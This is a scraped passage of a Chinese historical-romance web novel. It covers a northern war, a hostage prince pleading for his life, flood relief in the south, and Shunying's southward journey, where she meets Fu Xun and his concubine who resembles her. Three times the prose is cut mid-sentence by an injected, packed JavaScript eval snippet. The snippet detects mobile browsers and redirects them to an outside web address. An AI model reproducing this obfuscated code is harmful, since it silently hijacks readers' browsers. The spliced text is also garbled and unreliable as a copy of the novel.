永平一年五月二十三,北宛大王子冯桢率三部散骑围了王宫,与狼卫里应外合,杀了篡权夺位的冯栋。螳螂捕蝉、黄雀在后,即位之日被追随冯栋的八王子冯松毒死。 就在此时,冯延的嫡兄冯建率麾下三万精兵攻入柘支城,风卷残云般收拾了三败俱伤的冯桢三部、冯栋、冯松八部,以及奄奄一息的狼卫。 冯建在二十多年前便是坚决的主战派,此次甫一登基,为建功立威、一统民心,命大将赫连骛率队,发兵十万,趁夜捣毁玄阴山与乌兰山隘口的乌桓段边墙,挥师南下。 赫连骛行兵极快,仅一天一夜,十万轻骑已通过乌桓边墙缺口,绕过玄阴山隘口,沿乾河往东南行军一百里,围了宣庆御北第一防线怀戎城。 并在怀戎城下分兵两路,七万大军继续围攻怀戎,另三万人马绕过宣庆首府广宁城,一路东行,直达燕州平原掠夺粮草、截杀塘报。 原本在宣庆开垦的一万手无寸铁的刑犯,在怀戎被围之时内讧,勾结外敌将一起垦荒的两万宣庆步兵坑杀,弃尸广宁城东百里外的石门沟。 宣庆府边户都督谢朗在收到战报之后,立即率一万轻骑、三千铁骑往东追敌,杀退一万刑犯和三万轻骑,却在返程时突遭暴雨,铁骑分量太重,导致马蹄深陷,不得不羁留于距广宁城五百里处的嵇兴休整。 散在燕州平原的北宛骑兵还剩两万余人,在主将郎巡的引导下迅速整队,伏击北上支援谢朗的燕州军。 怀戎城的守军只有八千步兵,赫连骛围困之后却不着急攻打,而是就地在城外搭起了军帐、安放辎重,切断城中水源,又安排兵士在城西日夜挖掘壕沟以阻挡朔宁府援军。 广宁城先后派援军,均不敌败走,死伤者数千。 也对,北宛什么都缺,就是不缺马匹和骑兵。 发生这一切,不过短短五日。待元旻骑马返回昇阳,得到的最新战报是,冯建又发五万骑兵,携粮草抵达怀戎城,乌桓边墙的破洞处还有源源不断的军队涌来,大有一直驻扎在此、围城打援,耗着他们的态势。 五月二十九,国尉元晞挂帅出征,集燕州、洺州、朔宁府之兵北伐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981260|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>. 宝慈宫门口的夹道上,一位布衣少年双膝跪地,两眼通红,哀求了一遍又一遍,直喊到声音嘶哑:“求姑母救我性命!” 喊了许久,仍是朱门紧闭、悄寂无声。 有宫人成列经过,都屏息凝神、目不斜视,不敢多匀半分眼神给他。 少年膝行数步,再拖着沉重的身躯、将膝盖一级一级地挪上台阶,对着紧闭的门扉不停叩首,额头一片淤青。 喊声越来越恐惧和绝望:“不肖子侄冯彬,向姑母请罪,求姑母赐见!” 微风拂过,送来一阵幽兰的甜香,身后响起的声音像溪泉:“你在这儿等不到的,母后昨天就去了凰羽寺,为大翊将士祈福。” 冯彬膝行着转回身子,缓缓抬起头。 先看到的是曲裾裙,胭脂红的底色、银红的边,往上是纤若束素的腰、系着银红的绸带,再往上是齐领的襟、两肩处用银线绣着梅花,乌黑的发丝垂落如瀑,最后看到了樱红的唇、小巧挺翘的鼻、大而清艳的眸…… 目光对接的瞬间,冯彬心跳慢了半拍,慌忙低下头。 香风微动,那少女好似弯了弯膝盖,紧接着头顶传来男子的声音——“七妹妹不必多礼。” 晴天霹雳般,冯彬立刻从云端掉回现实,膝行数步、却忘了台阶,膝底一空翻滚下去。 他不敢停歇,忍痛跪起来、撑直了上半身,快速叩头下拜,嘶声高呼:“北宛质子冯彬,向大翊王陛下请罪!” “十五万骑兵,五天,埋吾大翊两万好男儿”,元旻退了一步,面无表情注视着他,“十一王子可想好,要如何谢罪?” “不是我……是我叔叔,他与父王向来不和”,冯彬慌乱地辩解,四肢发抖,眼泪、鼻涕齐刷刷往下掉,“求陛下明鉴……不是我!” 元旻淡淡道:“既做了质子,一身荣辱也只系于邦交了。” 冯彬抖得像筛糠一样:“陛下让我做什么都可以……不要杀我……” 元旻不置可否,直勾勾盯着他,若有所思。 元昙忽然上前两步,挡在冯彬身前,稽首大拜道:“求陛下饶他一命。” 冯彬怔住了,伏在地上的头竭力仰起,看向前方那个红色的背影。 元旻唇角弯了弯:“七妹妹有何见解?” 元昙认真思忖片刻,再拜:“其一,十一王子虽为质子,战事却非其父挑起,杀之无用。” “其二,大翊、北宛承平二十余年,皆因其已故先父与父王达成的盟约,十一王子更是陛下的姑表血亲,杀之不祥。” “其三,上天有好生之德,南方水患泛滥,恳请陛下姑且留他一条性命,权当替百万灾民祈福。” 元旻笑意更浓了,一瞬不瞬盯着跪成一排的他们,思索了片刻:“那便依七妹妹所言,权当替滬南道积德吧。” 冯彬呆呆看着元旻远去的背影,泪如雨下,瘫坐下去,冷汗浸透了衣衫。 “陛下仁厚,不会轻言杀戮”,元昙掏出一方丝帕递给他,软声劝慰,“十一王子,擦擦汗回去吧,不会有事的。” 冯彬讪讪拿起丝帕,刚贴到脸上,就像被烫到般移开,咬唇盯着丝帕上从自己脸上擦下的污渍,双颊通红。 元昙不以为意地笑了:“千金之躯一时落魄,必不愿为外人知晓,是阿昙不懂事了,先行告退,王子请自便。” 说着站起来,敛衽一礼,袅袅娜娜走远了。 冯彬目送她走远,继续看着丝帕发呆,帕子的一个角上,绣着一丛幽兰。 发了一会儿呆,他在下摆上擦干净手,叠好丝帕、珍重地藏进袖中。 51. 行滬南 真可谓,福无双至、祸不单行。 滬南道的萝州,自五月中旬便开始下暴雨,片刻不歇地下了十多天。 五月二十八,元旻在龙门行宫收到急报,萝江水位暴涨、洪涝大发,沿途堤坝尽皆被冲垮。 萝江是萝州境内支流最广的一条主河,其流域覆盖萝州约四成土地。这一场水患,上万顷良田被淹,近三百万人屋宅被毁、无家可归。 五月二十九晨,元旻发圣旨八百里加急,命萝州刺史组织疏浚洪水,并开萝州各府库,搭建收容所、施粥赈济。 当天下午,又追加一道圣旨给护国公郑载云,命他向滬南道各州府征调赈灾粮饷。 同时,他任命征和九年的文状元顾星阑为滬南道巡按使,与内都水丞舒湛南下救灾。两人除必要的吃饭睡觉外,不断换乘快马,昼夜奔驰,终于在六月初六赶到滬南道首府,萝州燮陵。 舒湛到任后立即组织萝州境内的外都水丞着手掘渠引流、疏浚河道。顾星阑则驻点萝州刺史府,监察和调配滬南道赈灾粮饷。 六月十二,翊王收到顾星阑发来的飞书密报,下令六王弟元旭再赴滬南,代国君犒赏赈灾有方的滬南官员,慰问灾民。 六月十三,大朝会散后,元旻独自站在大庆殿巍峨的螭陛上,透过五色冕旒,注视着一行又一行的臣子鱼贯而出,怅然若失。 走出后殿,春羽迎上来询问:“陛下,六王子的车驾已在南薰门外整装待发了,是否相送?” 步履匆匆的君王步履一滞,猛然抬头,转了方向飞快走向南熏门,眼眶微微发红。却走了没几步就停住,深吸一口气:“不必,回上书房议事。” . 翊国东线,南下的官道上,徐徐行驶着一队人马。队伍居中的元旭年方十七,骑在高大的白马上,风吹过额发,他远眺前方、目不斜视,已有些稳重姿态。 他的身后,是一辆驷马并骖的奢华安车,车身由花梨木制成,长一丈二、宽一丈,朱色车盖、车帏,珊瑚色垂檐,两角各挂着一串风铃,随风漾起阵阵悦耳脆响。 车内用水精帘隔开内外两间,槅门旁一只小巧的三角铜香炉,缓缓流出月麟香的白烟,紫裙女子支颐坐在侧面,欣喜地看向掠过窗外的葱郁稻田:“原来,翊东粮仓是这样的。” 车后方的主位上,坐着一位盛装的美妇,目光慈柔:“等过了长流川,地势更平、水系更多,也只有如此,才养得起千万顷稻田……” 舜英啧啧赞叹:“听说,长流川以南的水稻都是一年两季的,真是富庶。” 美妇脸上漾起恍惚的笑:“吾年幼时,每年三伏都会去田庄里消暑,那稻花香啊…说不出是怎样的气味,就是让人安心,再听着一片蛙声,可一夜无梦直到天明。” 舜英笑道:“待六殿下顺利就藩,郑娘娘就可夜夜枕着蛙声入梦了。” 郑锦珠依然笑着,眼眸漾出泪花:“记得当年家父病逝、娘亲改嫁,我被选中纳入昇阳王宫的时候,比如今的你还小。一晃十九年,岁月不饶人啊。” 舜英忙宽慰她:“娘娘不妨往好里想,您离家去国时孑然一身、满目伤心,归来已有娇儿承欢膝下。若实在伤怀,还可去见一见令慈…” 郑锦珠坚决地摇头:“不必了,她定是不愿见到我,当年父亲膝下唯有我一个女儿,母亲一直觉着是我命太硬,克得她未诞下男丁,又克得父亲暴病身亡。” 她见舜英瞠目结舌,垂目叹息:“阿英不必讶异,像大翊那般看重女子的地方,世间又有多少?” 舜英想到云飞燕的遭遇,也叹了口气:“之前在荣国也略有见闻,男主外女主内,男人姬妾成群庶子女一大堆,户无男丁支撑、女子自立门户颇为艰难……我有一故人深受此等苦楚。” 坐在外间的天璇开口道:“荣国和北宛还算好,荣国女子虽大都在后院,却是被夫婿托付中馈。因国力贫乏,无甚条件让体弱的女子习武,男子出门征战、女子经营家园,所谓的‘男主外女主内’。” “至于姬妾成群,倒不见是沉湎女色,那个国家强敌环伺、征战频繁,长期下来,男子大多寿数极短,男少女多。若不多几个女人来开枝散叶,过不上几代就全部死绝了。” “何况,若姬妾和子女众多,仅仅托付中馈、料理后宅,这些庶务就能把人累死。” 天玑附和:“回想起在荣国时,高王后、萧王后她们,哪个不是庶务缠身,哪个得不到夫婿敬重?” 想到痼疾缠身的萧王后,舜英黯然了一瞬,又想起元旻正在选宗室女嫁入荣国,不知如今人选定了没。 . 上月底,她在昏睡中被送回昇阳,醒来后顾星阑已走马上任、南下赈灾去了。她被安排在第二批,与郑娘娘和元旭一道南下。 堂堂六王子,就个藩都如此遮遮掩掩,滬南道的水,比她想得深多了。 先前,元旻在龙门行宫提出的,在重兵的前呼后拥下、去巡按滬南道的谋划。乍一听确实振奋人心,细想却是除了安全再无其它作用。 去集贤殿三阁查阅了些旧滬国的风土人情、地方志等,她隐隐有了谋算。 于是,她拒绝了元旻调来的羽林卫,只从隐蝠卫挑了两名老部下——天璇、天玑姐妹。元旻不放心,又塞给她个副统领玉衡,她想了想接受了。 接下来,又去司农令司要人,云飞燕问她要怎样的。 她胸有成竹,笑吟吟道:“强将手下无弱兵,自然是要……好看的,打扮得有风姿的。” 过了几个时辰,云飞燕说司农令司有一女吏,名许姿,在管账和数术上颇有才干,自愿随她南下。许姿是一名二十六岁的女郎,正是女人最美艳的年纪,生得娇俏妩媚,又爱追逐潮流时兴,举动妖娆有姝色。 元旻担心舜英的内伤,从自己的私库挑了这辆车,其宽大豪奢,举国无出其右。一看就知逾了制,却正合她谋划,就却之不恭了。 许姿与天璇、天玑姐妹坐在一处,芙蓉秋菊争芳斗艳,再加上里间华服美衣、满头珠翠的郑锦珠和舜英。一眼看去,好得很,全车的莺莺燕燕,凑不出半个正经人。 . 许姿听她们说得热闹,也好奇问:“听人说,北宛女人一辈子不是在生孩子,就是在怀孩子…还有收继婚制,弟弟娶寡嫂、儿子娶庶母,也太乱来了。” 天璇笑道:“北宛地广人稀,重视人口繁育……在北宛,会生养的女人很吃香,嫁多少遍都有人抢着要。” 舜英点头补充:“不止如此,娶一个女人,她前夫的土地、子女都会变成后来夫婿的,不只是前夫的……如若那女人被人劫掠侮辱诞下子嗣,后来的夫婿也会将她所有孩子视如己出,所以叫‘继婚’。” 天玑大为赞赏:“这胸怀真是广阔,依我说,男欢女爱本就该遵循自然……” 天璇一记眼刀飞去,将她余下话语堵在喉咙。 郑锦珠静静听着,笑容有些悲伤:“无论是男主外女主内,还是收继婚,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981261|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是国情和求存所需。滬南这块地,却是因朝代更迭频繁,男儿们总在战场失意……” 这块地,南北两千里、东西一千里,说大不大、说小不小。两三百年间,同为大翊邻邦,荣国向南扩张逾一倍,滬南换了四个朝代。 常年战乱的生活持续了近三百年,虽因土地富庶,食能果腹、衣能蔽体,却看不到任何希望。于是,今朝有酒今朝醉,颓靡之风在滬南盛行。 “十四万人齐解甲,更无一个是男儿”,舜英觑见郑锦珠神色,不禁扼腕叹息,“这样的富庶繁华地,养得出满川烟柳、燕啭莺啼,养得出文人清客、风流雅士,养得出七窍玲珑、勾心斗角的朝臣,却养不出几个血性男儿。” “自然是,养得出”,郑锦珠笑容更盛,眼眶微红,“只是,那些有血性的男儿,全都死在了蝇营狗苟的倾轧,死在了改朝换代的兵乱,死在了保家卫国的战场。” 六十一年前,滬成王郑邕为旸国名将,奉命讨伐逆贼侯万固,发展壮大后废旸敬王杨晋安,自立为王,改国号“滬”。 滬成王上位后,励精图治,一统混乱的滬南四州十郡,又跨过长流川往北扩张,却遇上强硬的翊威王,在班师回朝的路上郁郁而终。 五十三年前,滬宣王郑廷勖灵前即位,移风易俗、厉兵秣马,在位十七年,西征蛮疆,跨过九霄山脉,将国境线往西推进四百里,得良田百万顷。 水陆合军多次攻打江城、维阳等临江城池,最危急时,滬国水师甚至从长济渠一路打到了洛京和商都,逼得翊威王、庄王两代君主斥巨资加练出两万水师。 三十六年前,滬惠王郑载秀即位,惠王柔质慈民,在位十年,不兴战事、歌舞升平,军政大权逐渐分给太尉郭越、丞相孔兆维。 惠王嫡子郑尧嘉,谥号滬怀王,世称郑后主。孔王后所出,禀性柔善,总角之年便被立为太子。惠王灵前,叔侄争权,郑尧嘉被权臣郭、孔二人及其叔父郑载文推上王位。 拥立滬怀王的郑载文,便是滬国夫人郑锦珠之父。 二十四年前,翊昭王即位不到一年,尚未完全接收南方军权,郑载文为新王立威,发兵十五万攻占江城及周边二十县,继续深入受到了顽固抵抗,战况胶着。翊昭王割地求和,送美女财帛无数。 岂料,仅仅过了三年,权臣郭越再度命人率十万虎威军跨过长流川,从东线攻入,一马平川,短短三月就打到了龙城下。 这一次,滬国遭遇了前所未有的反扑。 龙城之中,翊昭王从朔北调来的一万铁骑、五万轻骑严阵以待,趁滬军久攻不下军心涣散时,佯作败走、迅速从后路包抄,断了滬军的粮草供给。滬军突围奔逃,到了长流川边仅剩五万。 同时,翊将贺浮白领兵攻打被滬军侵占的二十城,不到一月便将驻军赶回了长流川,并乘胜追击,率三万水师肃清长流川江面,片帆难渡。 翊昭王早有准备,将所有靠近长流川较大渡口的城池坚壁清野,羁留翊国的滬军找不到一粒米、一寸丝,支撑不住齐齐投降。 征和四年冬,滬怀王递交国书求和。 “都以为这是两国多年交战的结束……”舜英叹气,“却未曾想,对于滬国,倾覆之祸才刚刚开始。” 车身震了几下,缓缓停住了,前方传来卫兵的声音——“各位贵人,到维阳了。” “天色已晚,咱们不如先在此住下”,舜英请示道,“稍作休整再从西津渡过江,娘娘与六殿下意下如何?” 52. 无处不相逢 维阳城是翊国几大商贸重地之一,坐拥翊国境内长流川第二大渡口——西津渡。 大翊自开国以来,士农工商百花齐放,为支持贸易繁荣,特划维阳为“屿城”,同为“屿城”的,还有与维阳隔长流川相望的宜邑城。 在屿城,无论来自哪个国家、海外还是海内,无需路引符节,皆可在此地落脚。当然,从屿城通往国境别处的所有道路,皆有重兵把守。 于是,这里汇聚了来自京畿、朔北、滬南、荣国、西羌甚至海外等各方的客商,商贸兴盛了几百年,各地风俗在此交汇碰撞,酝酿出几样寻欢的特色——茶酒、豪赌、雏妓、乐舞。 沧浪墅是维阳最大的客栈,由三座楼组成,主楼高五层,两座高三层的副楼陪衬于两翼,古朴典雅、美轮美奂,出入此地者非富即贵。 天字号的主楼顶层,“浣溪沙”套间的一间卧房内,舜英临窗而坐,朱唇轻启,吹干宣纸上的墨痕,粘上一枝柔嫩的荻花穗。 念念如晤,余一行六人,已抵维阳沧浪墅,此无月之夜,有琵琶飞声,不及昔日洛京舞乐。临河水渚荻花初初抽穗,尚可一观,寄君一枝同忆白露水榭。陛下国事虽繁,勿忘餐饭、早眠,珍重贵体。——褚舜英鞠启永平元年七月初一 离开昇阳后,舜英每到一处,见了什么有趣的景致、新鲜事物,总会书信一封,再到该处驿站,用最普通的邮驿寄回昇阳褚宅,再由褚钧贤入宫转交元旻。 掐指数一数,算上这个,已寄出十二封。 普通邮驿要辗转一两月,说不定等她从滬南回去,有些信才寄到不久。到时,她就可以与元旻一封封拆开信函,把这一路景致见闻娓娓重温。 国政繁琐而枯燥,他比从前更忙,性子也更端肃,愿这些新奇的物什能助他稍作纾解。 舜英一向重信守诺,既答应与元旻试着像未婚夫妻那般相处,就开始认真学习。大部分时候她想起王座上的那人,再寻不回记忆里那一抹悸动,好在十几年相伴、没了悸动还有温情,而且她身边还有许姿——与夫君如胶似漆的鲜亮女子,教给她不少方式。 封好信函,前厅已摆好晚膳,维阳盛产河鲜,这里的鲢鱼头比宫里更清淡,吃起来自带天然鲜甜,还有道蜜饯藕,就连不爱吃甜的许姿都吃了两节。 郑锦珠近乡情怯,这几天有些怏怏的,草草吃了几筷就回屋歇息了,玉衡带人在顶楼巡防。舜英要出门寄信,许姿和天璇天玑最爱热闹,吵吵嚷嚷要跟着她一起下楼。 元旭担心此处鱼龙混杂,有什么腌臜人冲撞了她们,筷子一扔就先跑下楼去安排车马。 大堂里临窗处,用竹骨丝绢屏风隔出数个雅间,一群满身绫罗的富商酒酣耳热,喋喋不休指点江山。 “恩科及第的寒门学子就是不同”,朱衣的髯虬客高声喧哗,“这滬南道巡按使顾大人,赈灾心切,昼夜奔袭,真是又勤勉又务实。” “全仗咱们陛下果决圣明,知人善任”,紫衣的白面书生向天拱了拱手,“一场雪中送炭的赈灾,天下皆知这寒门学子不比世家子差,敝人归家之后,也要潜心向学了,就盼有朝一日做得个天子门生。” 议论纷纷,全是赞颂永平王圣明果决的溢美之词,舜英在楼梯转弯处听到,不禁停住了脚步,唇角绽出笑意。 不知怎的,离昇阳越远,越觉得元旻也没那么令人窒息,毕竟,他确实是个值得称道的明君。 . “姐姐何时已下楼了,却叫小弟好找?”大堂突然传来元旭的声音,“不过片刻功夫,怎么换了身衣服,还戴了帷帽?” 年轻女子声音温婉:“奴家并不认得你,小兄弟怕是认错了。” 紧接着,传来熟悉的温柔男声:“拙荆并未上过楼,小兄弟定是错认了。” 舜英下意识循声望去,只一瞥,全身的血凉了,飞快往后躲了几步。 可真是……人生何处不相逢。 门口的白衣男子,长身玉立、超逸出尘,不是苻洵却又是谁? 他的身后跟着名年轻女子,姿仪婷婷袅袅、头戴白纱帷帽、身穿藕荷襦裙。乍一看去,身形确实同她有六七分像。 元旭之前并未见过苻洵,至于苻洵是否认出他来,就不好说了。 果然,苻洵似有所感,抬头往楼梯拐弯处一瞥,只是一眼,却仿佛穿透了她的藏身之地。紧接着,回过头去,对那女子含笑说了几句,转身出了门。那女子也随他走了出去,二人一先一后上了一辆停在大门口的马车。 雅间处客人的议论仍在继续,话题越来越暧昧旖旎。 “咱们这陛下,千好万好,独一样不好……”朱衣客醉眼乜斜,“虚设后宫。” 青袍男子讶异:“不沉湎女色,不是国君贤德么?” “就算不沉湎,也该传宗接代吧……可我听说,陛下的后宫一个女人都没有,随身服侍不是嬷嬷就是宦官”,朱衣客摇头,忽压低了声音,“该不会是有断袖之癖吧。” 紫衣书生也压低了声音:“非也,非也,我舅妈娘家表妹夫的二姑姨姥姥的儿子在昇阳当差,说是咱们陛下啊……被一个妖女迷住了。” 舜英哑然失笑,抬手止住紧随其后的三女,闲闲地抱臂站那,洗耳恭听。 众人骇然,齐齐伸出头聚在一堆,七嘴八舌“窃窃私语”,那声音刚好能传到她耳中。 “说是那妖女啊,冰肌玉骨、国色天香、媚术冠群……论妖娆不输十几年前咱们滬国的那位幽妃。” “前十几年都未听说这么个人,突然从什么侯爵府冒出来的,哄得陛下五迷三道,要封她当王后。后来不晓得怎么的,又不封了,咱们陛下还是圣明。” “从侯爵府突然冒出来……怕不是维阳的莳花馆调教出的瘦马,改个好出身?” “谁知道呢,后来啊,那妖女又跑到庙堂做官,那可是男人才能站的地方,她一介腌臜女子,成日与一堆男人厮混……要多浪荡有多浪荡。” “嘘——可不敢乱说,昇阳同咱们滬南风俗不同,女子也可做官。” “那也没有像她那样,白天站庙堂,夜晚睡王宫。没当上王后且不甘心,成宿成宿地魅惑陛下呢。红颜祸水啊,咱们陛下愣是被她迷了心窍……” “陛下勤勉俭朴,那妖女却极尽奢靡,出趟门子,非雪龙神驹不骑、非七宝香车不坐。” “据说这段日子,那妖女要随六王子南下慰问,你们说这小叔子与嫂嫂同乘一车,嘿嘿……” 舜英嗤嗤低笑,悄声对身后两女说:“咱们这趟行头可选对了。” 元旭站在前堂,那些荤话听得他脸上青一阵黑一阵,听到最后那句小叔子云云,拔了佩剑转身就往雅间冲。舜英忙跑下楼梯喊他:“阿旭!” 天璇天玑轻身飘下,从他手中夺过剑。元旭气鼓鼓弃了剑往楼上跑,楼梯上遇见舜英,目光交会了一瞬,满脸通红、两眼含泪,一言不发地径直跑向楼上。 舜英见冲突已解,不再理会元旭,只笑语盈盈挽着许姿往外走。天璇天玑相视叹息一声,跟了出去。 许姿有些担忧:“就这样让六殿下回去了?” “不然呢”,舜英耸耸肩,“物议纷纷如浮云,这道理,谁讲给他都成,唯独咱们不成。” 许姿点头,不屑嗤笑:“这些臭男人,文不成武不就,浑身上下只剩嘴硬……滬南那边男尊女卑的破风俗。” “那些泼才说的什么莳花馆,你们莫放心上”,舜英忽瞥见天璇天玑脸色晦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981262|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗,忙收敛了笑意,柔声劝道,“你们早跟那腌臜地没关系了。” 许姿讶异地睁大双眸,上下打量了他们一番:“从莳花馆出来的?武艺练得这样好,还当上了内卫指挥使,你们也太出息了,许某佩服!” 冲上去,真诚而热烈地给了她们各自一个拥抱。 “早些年被赌鬼爹爹卖掉的”,天玑一听舜英开口,愁眉顿时舒展,只笑盈盈注视着舜英,“祸兮福所倚,后面遇见首领,不但赎我们出火坑,还有了建功立业的机会。” 舜英松了口气,笑道:“我可不是什么人都救的,还是你们争气。” 许姿愤愤:“亲骨肉都卖,也配当爹?还是我爹好,咦……前面那家首饰铺看着不错。” 天璇也淡淡地笑了:“往好些想,当时那境况,留家里也是白白饿死,去了莳花馆好歹有口饭吃。” “如今想来,鸨母养我虽是为了卖个好价钱,却也使我不至流落街头、挨饿受冻,后来又遇见了公子……奴家并无怨言。” 有些耳熟的女声从铺子里传出,舜英顿时眼前一黑,脚步一滞。许姿却没收住脚,已兴高采烈跑了进去。 舜英站到离首饰铺大门约有一丈远的墙下,紧随其后的天璇天玑也一起停住了脚步。 今儿个,真是撞邪了! 果然,门内传出苻洵的绵言细语:“贴翠太老气,你试试这枚掐丝翡翠的步摇,还有这对绿花翡翠镯,禁步么,可以配白玉、流苏就穿水精和南珠……看看如何?” 然后是女子惊喜的低呼:“公子眼光真好。” 片刻后,一袭藕色纱裙的女子款步走出,在马车前等了片刻无人跟来,含笑转身,看向店里问:“公子可还有事?” 苻洵在店内回:“夜深露重,你且先上车,我随后就来。” 于是,她乖顺地坐进马车,放下车帘。夜风温柔地拂过她刚刚行经的门口,迎面吹来,有一股幽兰的甜香,清淡而绵长。 舜英觉着这香气似曾相识,一时却想不起在何处闻过。苻洵已走到她面前,躬身长揖:“洛京一别,在此又遇少卿,幸甚。” 幸个鬼,你鞋底有刺么,哪里都呆不住? 腹诽着,舜英还是客气地回了个礼,笑道:“末官奉命公干,偶遇贤伉俪,欣喜难言,祝二位良缘夙缔、螽斯衍庆。” 这倒是真心话,见苻洵已得佳偶,她也没那么怕见到他了。 苻洵也笑了:“今夜见少卿气色大好,在下甚是心安。” 首饰铺小二追出来,捧着个盒子问:“公子,你的华胜忘了拿。” 苻洵瞥了一眼,拿过来飞快盖上盒盖,又笑着向舜英施了一礼,转身上车离去。 天玑扯了扯她袖子,悄声道:“首领,那姑娘长得跟你好像。” 天璇叹息:“罢了,也是痴心人,只要他不天天带着那姑娘在陛下面前晃,随他去吧。” 天玑附和:“苻将军这品貌、这般小意体贴,若非陛下珠玉在前,与首领也是良配,尤其是那张脸,好看得……” “没影的事,休要再提”,舜英淡淡笑了笑,转头去看店内许姿,“选好了没,我们要走了?” 许姿追出来问小二:“刚刚那白衣公子买走的华胜簪怪别致的,你们还有吗?” 小二赔笑道:“这是那位公子派人订做的,打了快一个月,全大翊也只这一枚,店里别的好样式还多……” 舜英晓得她偏爱孤品,忙道:“那样式我瞧清楚了,回头画出来,再找铺子打一个送你就是。” 从苻洵接过木盒、到关上盒盖,仅仅一刹那,舜英却将那样式看得一清二楚:花丝做工,主体是一架琵琶、旁侧一丛幽兰,镶嵌点缀着珊瑚和石榴石。 53. 牵丝戏 两马并进,拉着翠幄青帷的香车,车帘轻晃。 苻洵拜别舜英,转身上车。在车帘合上的瞬间,他满脸温柔的笑容,霎时烟消云散。 车内的幽兰甜香更浓郁,锦瑟不安地绞着手上丝帕,偷觑他的脸色。 “哐当”,青釉冰裂纹小香炉被他拂落,灰白的香烬散了一地,火星虚弱地闪了几下,终于熄灭。 他的声音听不出喜怒:“谁换的?” 锦瑟忙跪下:“公子从洛京回来时,衣上沾了兰香,妾只当公子换了喜好,才自作主张……妾有罪,请公子责罚。” “熏香换回龙涎吧……兰香并不好闻”,他忽然笑了,车内霎时冰消雪融,“至于你,依旧用素馨好了。” 苻洵双手扶起锦瑟,注视着她、眼神缱绻。昏暗的灯光下,他的双眸泛着微红。 双臂发着颤,把她拉近到身边,紧紧抱住,哑声道:“抱紧些,好冷。” 苻洵抱着她颤抖了半晌,换了个方向,将她后背抵在马车厢板上,闭上眼睛,嘴唇慢慢下移、距离她双唇越来越近。车外人声鼎沸,狭窄幽暗的马车内,静得能听见二人微微紊乱的呼吸声。 这是他第一次亲吻她,锦瑟不禁闭上眼眸,心跳如擂鼓。 双唇即将触碰的刹那,他骤然惊醒,睁开双眼坐直上半身,呼吸深长平复着心绪。 锦瑟错愕了片刻,捂着发烫的脸,轻声道“公子,妾……” 苻洵眼圈更红,目不转睛盯着她,明明她近在眼前,他的眼里却全是眷恋:“叫我阿洵。” . 半个月前,苻洵随苻沣返抵灵昌。那是个中午,他先去将军府处理了半天公务,灯火通明才回洛川别苑。 随着大门拉开,他骤然觉着空气冷了几分。 禁卫军铁甲森森,整整齐齐的两列,从大门口一直排到前堂。前堂主位上,苻沣端正坐着,神色肃穆,静静注视着刚从外归来、风尘仆仆的他。 前堂水磨石的地板上,锦瑟被五花大绑带上来,玉软花柔、弱不胜衣。 苻沣的语调不容置疑:“处死她!” 苻洵走到锦瑟身前,双膝跪下,仰头质问苻沣:“就因为这张脸?” 苻沣冷哼:“翊使不日就到,若有个不慎瞧见了她,永平王会如何,你我都是男人,无需多言!” 苻洵不忿:“她好好待在内院,谁闲得慌跑来看一个妾侍?” 苻沣压低声音:“你这个疯癫性子……万无一失都能折腾出差池来,叫人如何放心?” 苻洵笑了,直直注视着苻沣双眼:“凭什么,明明有夺妻之恨的是臣。他那王后是用什么手段得到的,他心知肚明。陛下如今倒惧了他,臣有何惧?” “永平王知晓是一回事,人尽皆知又是另一回事”,苻沣语调软了,长叹,“不管你在灵昌有过什么往事,如今桥归桥路归路,也该放下了。” “算哥求你了,处理了这些陈年旧事,好好娶妻生子吧,莫要到处惹事了。” 一旁侍卫会意,拿出三尺白绫,二人各执一头,绞了个环套上了锦瑟脖颈,只等苻洵一点头,就用力往外扯去。 锦瑟已吓得说不出话,巴巴看着堂上两个男人,泪流满面、瑟瑟发抖。 苻洵回头,隔着泪眼与她对视片刻,忽膝行上前,抽出腰间短刀,紧紧抵到自己脖子上,沉声道:“陛下要赐死臣的妾侍,臣不敢有异议,只能以此向陛下陈情。” 也不等苻沣回应,兀自将刀锋横过脖颈,割出一痕血线。 “苻洵,你又要作甚!”苻沣惊得站了起来。 苻洵哀声请求:“若陛下仁慈,臣一定妥善安置,把她藏得远远的,定不会污了贵使的眼。” 苻沣又开始叹息,一声比一声重,一言不发站起身,拂袖往外走去。 禁卫军随即收束,跟着苻沣一道从大门退出。 苻洵目送兄长离去,满目泪意霎时消散,缓缓站起身,漠然瞥了一眼正替锦瑟剪绳子的侍婢,怒喝:“卫士长何在?” 洛川别苑的府兵卫队长莫邪“铿”地跪下:“来的是陛下,奴才们实在为难,请主子宽宥!” 其余几个从英平郡带来的卫士也齐齐下跪请罪。 “拿着本侯的俸禄,守着本侯的家宅,随便放外人进来!” 